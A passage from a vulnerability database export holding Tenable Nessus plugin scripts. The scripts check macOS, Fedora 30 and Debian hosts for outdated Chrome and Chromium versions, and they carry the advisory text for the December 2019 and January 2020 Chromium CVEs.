value:\n\"The version of Google Chrome installed on the remote macOS host is prior to 79.0.3945.79. It is, therefore, affected by\nmultiple vulnerabilities as referenced in the 2019_12_stable-channel-update-for-desktop advisory. Note that Nessus has\nnot tested for this issue but has instead relied only on the application's self-reported version number.\");\n # https://chromereleases.googleblog.com/2019/12/stable-channel-update-for-desktop.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5e80c206\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025067\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1027152\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/944619\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1024758\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025489\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1028862\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1023817\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025466\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025468\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1028863\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1020899\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1013882\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1017441\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/824715\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1005596\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1011950\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1017564\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/754304\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/853670\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/990867\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/999932\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1018528\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/993706\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1010765\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025464\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025465\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025470\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1025471\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/442579\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/696208\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/708595\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/884693\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/979441\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/901789\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1002687\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1004212\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1011600\");\n script_set_attribute(attribute:\"see_also\", value:\"https://crbug.com/1032080\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Google Chrome version 79.0.3945.79 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:U/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:U/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-13725\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"No known exploits are available\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/12/11\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:google:chrome\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"macosx_google_chrome_installed.nbin\");\n script_require_keys(\"MacOSX/Google Chrome/Installed\");\n\n exit(0);\n}\ninclude('google_chrome_version.inc');\n\nget_kb_item_or_exit('MacOSX/Google Chrome/Installed');\n\ngoogle_chrome_check_version(fix:'79.0.3945.79', severity:SECURITY_WARNING, xss:FALSE, xsrf:FALSE);\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-05-31T18:05:40", "description": "Update to 79.0.3945.117. Fixes CVE-2020-6377.\n\n----\n\nSecurity fix for CVE-2019-13767.\n\n----\n\nUpdate to Chromium 79. Fixes the usual giant pile of bugs and security\nissues. This time, the list is :\n\nCVE-2019-13725 CVE-2019-13726 CVE-2019-13727 CVE-2019-13728\nCVE-2019-13729 CVE-2019-13730 CVE-2019-13732 CVE-2019-13734\nCVE-2019-13735 CVE-2019-13764 CVE-2019-13736 CVE-2019-13737\nCVE-2019-13738 CVE-2019-13739 CVE-2019-13740 CVE-2019-13741\nCVE-2019-13742 CVE-2019-13743 CVE-2019-13744 CVE-2019-13745\nCVE-2019-13746 CVE-2019-13747 CVE-2019-13748 CVE-2019-13749\nCVE-2019-13750 CVE-2019-13751 CVE-2019-13752 CVE-2019-13753\nCVE-2019-13754 CVE-2019-13755 CVE-2019-13756 CVE-2019-13757\nCVE-2019-13758 CVE-2019-13759 CVE-2019-13761 CVE-2019-13762\nCVE-2019-13763\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 5, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-01-21T00:00:00", "title": "Fedora 30 : chromium (2020-4355ea258e)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2019-13748", "CVE-2019-13755", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2019-13747"], "modified": "2020-01-21T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:30", "p-cpe:/a:fedoraproject:fedora:chromium"], "id": "FEDORA_2020-4355EA258E.NASL", "href": "https://www.tenable.com/plugins/nessus/133113", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2020-4355ea258e.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(133113);\n script_version(\"1.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/05/29\");\n\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\", \"CVE-2019-13767\", \"CVE-2020-6377\");\n script_xref(name:\"FEDORA\", value:\"2020-4355ea258e\");\n\n script_name(english:\"Fedora 30 : chromium (2020-4355ea258e)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\",\n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\",\n value:\n\"Update to 79.0.3945.117. Fixes CVE-2020-6377.\n\n----\n\nSecurity fix for CVE-2019-13767.\n\n----\n\nUpdate to Chromium 79. Fixes the usual giant pile of bugs and security\nissues. This time, the list is :\n\nCVE-2019-13725 CVE-2019-13726 CVE-2019-13727 CVE-2019-13728\nCVE-2019-13729 CVE-2019-13730 CVE-2019-13732 CVE-2019-13734\nCVE-2019-13735 CVE-2019-13764 CVE-2019-13736 CVE-2019-13737\nCVE-2019-13738 CVE-2019-13739 CVE-2019-13740 CVE-2019-13741\nCVE-2019-13742 CVE-2019-13743 CVE-2019-13744 CVE-2019-13745\nCVE-2019-13746 CVE-2019-13747 CVE-2019-13748 CVE-2019-13749\nCVE-2019-13750 CVE-2019-13751 CVE-2019-13752 CVE-2019-13753\nCVE-2019-13754 CVE-2019-13755 CVE-2019-13756 CVE-2019-13757\nCVE-2019-13758 CVE-2019-13759 CVE-2019-13761 CVE-2019-13762\nCVE-2019-13763\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2020-4355ea258e\"\n );\n script_set_attribute(\n attribute:\"solution\",\n value:\"Update the affected chromium package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:chromium\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:30\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/12/10\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/19\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/01/21\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^30([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 30\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC30\", reference:\"chromium-79.0.3945.117-1.fc30\", allowmaj:TRUE)) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"chromium\");\n}\n", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-17T23:14:24", "description": "Several vulnerabilities have been discovered in the chromium web\nbrowser.\n\n - CVE-2019-13725\n Gengming Liu and Jianyu Chen discovered a use-after-free\n issue in the bluetooth implementation.\n\n - CVE-2019-13726\n Sergei Glazunov discovered a buffer overflow issue.\n\n - CVE-2019-13727\n @piochu discovered a policy enforcement error.\n\n - CVE-2019-13728\n Rong Jian and Guang Gong discovered an out-of-bounds\n write error in the v8 JavaScript library.\n\n - CVE-2019-13729\n Zhe Jin discovered a use-after-free issue.\n\n - CVE-2019-13730\n Soyeon Park and Wen Xu discovered the use of a wrong\n type in the v8 JavaScript library.\n\n - CVE-2019-13732\n Sergei Glazunov discovered a use-after-free issue in the\n WebAudio implementation.\n\n - CVE-2019-13734\n Wenxiang Qian discovered an out-of-bounds write issue in\n the sqlite library.\n\n - CVE-2019-13735\n Gengming Liu and Zhen Feng discovered an out-of-bounds\n write issue in the v8 JavaScript library.\n\n - CVE-2019-13736\n An integer overflow issue was discovered in the pdfium\n library.\n\n - CVE-2019-13737\n Mark Amery discovered a policy enforcement error.\n\n - CVE-2019-13738\n Johnathan Norman and Daniel Clark discovered a policy\n enforcement error.\n\n - CVE-2019-13739\n xisigr discovered a user interface error.\n\n - CVE-2019-13740\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13741\n Michal Bentkowski discovered that user input could be\n incompletely validated.\n\n - CVE-2019-13742\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13743\n Zhiyang Zeng discovered a user interface error.\n\n - CVE-2019-13744\n Prakash discovered a policy enforcement error.\n\n - CVE-2019-13745\n Luan Herrera discovered a policy enforcement error.\n\n - CVE-2019-13746\n David Erceg discovered a policy enforcement error.\n\n - CVE-2019-13747\n Ivan Popelyshev and Andre Bonatti discovered an\n uninitialized value.\n\n - CVE-2019-13748\n David Erceg discovered a policy enforcement error.\n\n - CVE-2019-13749\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13750\n Wenxiang Qian discovered insufficient validation of data\n in the sqlite library.\n\n - CVE-2019-13751\n Wenxiang Qian discovered an uninitialized value in the\n sqlite library.\n\n - CVE-2019-13752\n Wenxiang Qian discovered an out-of-bounds read issue in\n the sqlite library.\n\n - CVE-2019-13753\n Wenxiang Qian discovered an out-of-bounds read issue in\n the sqlite library.\n\n - CVE-2019-13754\n Cody Crews discovered a policy enforcement error.\n\n - CVE-2019-13755\n Masato Kinugawa discovered a policy enforcement error.\n\n - CVE-2019-13756\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13757\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13758\n Khalil Zhani discovered a policy enforecement error.\n\n - CVE-2019-13759\n Wenxu Wu discovered a user interface error.\n\n - CVE-2019-13761\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13762\n csanuragjain discovered a policy enforecement error.\n\n - CVE-2019-13763\n weiwangpp93 discovered a policy enforecement error.\n\n - CVE-2019-13764\n Soyeon Park and Wen Xu discovered the use of a wrong\n type in the v8 JavaScript library.\n\n - CVE-2019-13767\n Sergei Glazunov discovered a use-after-free issue.\n\n - CVE-2020-6377\n Zhe Jin discovered a use-after-free issue.\n\n - CVE-2020-6378\n Antti Levomaki and Christian Jalio discovered a\n use-after-free issue.\n\n - CVE-2020-6379\n Guang Gong discovered a use-after-free issue.\n\n - CVE-2020-6380\n Sergei Glazunov discovered an error verifying extension\n messages.", "edition": 5, "cvss3": {"score": 8.8, "vector": "AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2020-01-21T00:00:00", "title": "Debian DSA-4606-1 : chromium - security update", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-13764", "CVE-2019-13763", "CVE-2019-13759", "CVE-2019-13758", "CVE-2019-13730", "CVE-2019-13736", "CVE-2019-13745", "CVE-2020-6377", "CVE-2019-13746", "CVE-2019-13753", "CVE-2019-13740", "CVE-2019-13728", "CVE-2019-13741", "CVE-2019-13742", "CVE-2019-13749", "CVE-2019-13750", "CVE-2019-13738", "CVE-2019-13734", "CVE-2019-13735", "CVE-2019-13756", "CVE-2019-13754", "CVE-2019-13761", "CVE-2019-13727", "CVE-2019-13762", "CVE-2019-13726", "CVE-2020-6379", "CVE-2019-13748", "CVE-2019-13755", "CVE-2020-6380", "CVE-2019-13767", "CVE-2019-13729", "CVE-2019-13732", "CVE-2019-13744", "CVE-2019-13757", "CVE-2019-13743", "CVE-2019-13751", "CVE-2019-13739", "CVE-2019-13725", "CVE-2019-13752", "CVE-2019-13737", "CVE-2020-6378", "CVE-2019-13747"], "modified": "2020-01-21T00:00:00", "cpe": ["cpe:/o:debian:debian_linux:10.0", "p-cpe:/a:debian:debian_linux:chromium"], "id": "DEBIAN_DSA-4606.NASL", "href": "https://www.tenable.com/plugins/nessus/133109", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Debian Security Advisory DSA-4606. The text \n# itself is copyright (C) Software in the Public Interest, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(133109);\n script_version(\"1.5\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2020/03/02\");\n\n script_cve_id(\"CVE-2019-13725\", \"CVE-2019-13726\", \"CVE-2019-13727\", \"CVE-2019-13728\", \"CVE-2019-13729\", \"CVE-2019-13730\", \"CVE-2019-13732\", \"CVE-2019-13734\", \"CVE-2019-13735\", \"CVE-2019-13736\", \"CVE-2019-13737\", \"CVE-2019-13738\", \"CVE-2019-13739\", \"CVE-2019-13740\", \"CVE-2019-13741\", \"CVE-2019-13742\", \"CVE-2019-13743\", \"CVE-2019-13744\", \"CVE-2019-13745\", \"CVE-2019-13746\", \"CVE-2019-13747\", \"CVE-2019-13748\", \"CVE-2019-13749\", \"CVE-2019-13750\", \"CVE-2019-13751\", \"CVE-2019-13752\", \"CVE-2019-13753\", \"CVE-2019-13754\", \"CVE-2019-13755\", \"CVE-2019-13756\", \"CVE-2019-13757\", \"CVE-2019-13758\", \"CVE-2019-13759\", \"CVE-2019-13761\", \"CVE-2019-13762\", \"CVE-2019-13763\", \"CVE-2019-13764\", \"CVE-2019-13767\", \"CVE-2020-6377\", \"CVE-2020-6378\", \"CVE-2020-6379\", \"CVE-2020-6380\");\n script_xref(name:\"DSA\", value:\"4606\");\n\n script_name(english:\"Debian DSA-4606-1 : chromium - security update\");\n script_summary(english:\"Checks dpkg output for the updated package\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Debian host is missing a security-related update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Several vulnerabilities have been discovered in the chromium web\nbrowser.\n\n - CVE-2019-13725\n Gengming Liu and Jianyu Chen discovered a use-after-free\n issue in the bluetooth implementation.\n\n - CVE-2019-13726\n Sergei Glazunov discovered a buffer overflow issue.\n\n - CVE-2019-13727\n @piochu discovered a policy enforcement error.\n\n - CVE-2019-13728\n Rong Jian and Guang Gong discovered an out-of-bounds\n write error in the v8 JavaScript library.\n\n - CVE-2019-13729\n Zhe Jin discovered a use-after-free issue.\n\n - CVE-2019-13730\n Soyeon Park and Wen Xu discovered the use of a wrong\n type in the v8 JavaScript library.\n\n - CVE-2019-13732\n Sergei Glazunov discovered a use-after-free issue in the\n WebAudio implementation.\n\n - CVE-2019-13734\n Wenxiang Qian discovered an out-of-bounds write issue in\n the sqlite library.\n\n - CVE-2019-13735\n Gengming Liu and Zhen Feng discovered an out-of-bounds\n write issue in the v8 JavaScript library.\n\n - CVE-2019-13736\n An integer overflow issue was discovered in the pdfium\n library.\n\n - CVE-2019-13737\n Mark Amery discovered a policy enforcement error.\n\n - CVE-2019-13738\n Johnathan Norman and Daniel Clark discovered a policy\n enforcement error.\n\n - CVE-2019-13739\n xisigr discovered a user interface error.\n\n - CVE-2019-13740\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13741\n Michal Bentkowski discovered that user input could be\n incompletely validated.\n\n - CVE-2019-13742\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13743\n Zhiyang Zeng discovered a user interface error.\n\n - CVE-2019-13744\n Prakash discovered a policy enforcement error.\n\n - CVE-2019-13745\n Luan Herrera discovered a policy enforcement error.\n\n - CVE-2019-13746\n David Erceg discovered a policy enforcement error.\n\n - CVE-2019-13747\n Ivan Popelyshev and Andre Bonatti discovered an\n uninitialized value.\n\n - CVE-2019-13748\n David Erceg discovered a policy enforcement error.\n\n - CVE-2019-13749\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13750\n Wenxiang Qian discovered insufficient validation of data\n in the sqlite library.\n\n - CVE-2019-13751\n Wenxiang Qian discovered an uninitialized value in the\n sqlite library.\n\n - CVE-2019-13752\n Wenxiang Qian discovered an out-of-bounds read issue in\n the sqlite library.\n\n - CVE-2019-13753\n Wenxiang Qian discovered an out-of-bounds read issue in\n the sqlite library.\n\n - CVE-2019-13754\n Cody Crews discovered a policy enforcement error.\n\n - CVE-2019-13755\n Masato Kinugawa discovered a policy enforcement error.\n\n - CVE-2019-13756\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13757\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13758\n Khalil Zhani discovered a policy enforecement error.\n\n - CVE-2019-13759\n Wenxu Wu discovered a user interface error.\n\n - CVE-2019-13761\n Khalil Zhani discovered a user interface error.\n\n - CVE-2019-13762\n csanuragjain discovered a policy enforecement error.\n\n - CVE-2019-13763\n weiwangpp93 discovered a policy enforecement error.\n\n - CVE-2019-13764\n Soyeon Park and Wen Xu discovered the use of a wrong\n type in the v8 JavaScript library.\n\n - CVE-2019-13767\n Sergei Glazunov discovered a use-after-free issue.\n\n - CVE-2020-6377\n Zhe Jin discovered a use-after-free issue.\n\n - CVE-2020-6378\n Antti Levomaki and Christian Jalio discovered a\n use-after-free issue.\n\n - CVE-2020-6379\n Guang Gong discovered a use-after-free issue.\n\n - CVE-2020-6380\n Sergei Glazunov discovered an error verifying extension\n messages.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13725\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13726\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13727\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13728\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13729\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13730\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13732\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13734\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13735\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13736\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13737\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13738\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13739\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13740\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13741\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13742\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13743\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13744\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13745\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13746\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13747\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13748\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13749\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13750\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13751\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13752\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13753\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13754\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13755\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13756\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13757\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13758\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13759\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13761\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13762\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13763\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13764\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2019-13767\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2020-6377\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2020-6378\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2020-6379\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/CVE-2020-6380\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security-tracker.debian.org/tracker/source-package/chromium\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://packages.debian.org/source/buster/chromium\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.debian.org/security/2020/dsa-4606\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"Upgrade the chromium packages.\n\nFor the oldstable distribution (stretch), security support for\nchromium has been discontinued.\n\nFor the stable distribution (buster), these problems have been fixed\nin version 79.0.3945.130-1~deb10u1.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n 